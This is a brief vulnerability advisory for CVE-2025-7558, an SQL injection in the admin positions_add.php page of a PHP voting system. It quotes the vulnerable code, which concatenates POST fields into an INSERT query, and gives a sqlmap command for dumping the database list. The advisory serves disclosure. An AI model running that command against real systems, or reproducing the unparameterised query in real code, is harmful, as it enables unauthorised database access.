CVE-2025-7558
[Voting System In PHP With Source Code - Source Code & Projects](https://code-projects.org/voting-system-in-php-with-source-code/)

Vulnerable file: `/admin/positions_add.php`

Code analysis
In `/admin/positions_add.php`, parameters entered by the user (similar to the description parameter) are directly concatenated into an SQL statement, leading to an SQL injection vulnerability.

```
$description = $_POST['description'];
$max_vote = $_POST['max_vote'];

$sql = "SELECT * FROM positions ORDER BY priority DESC LIMIT 1";
$query = $conn->query($sql);
$row = $query->fetch_assoc();

$priority = $row['priority'] + 1;

$sql = "INSERT INTO positions (description, max_vote, priority) VALUES ('$description', '$max_vote', '$priority')";
if($conn->query($sql)){
```

use `sqlmap` with `PoC.txt` and this command:

`python .\sqlmap.py -r .\PoC.txt --dbs --batch`
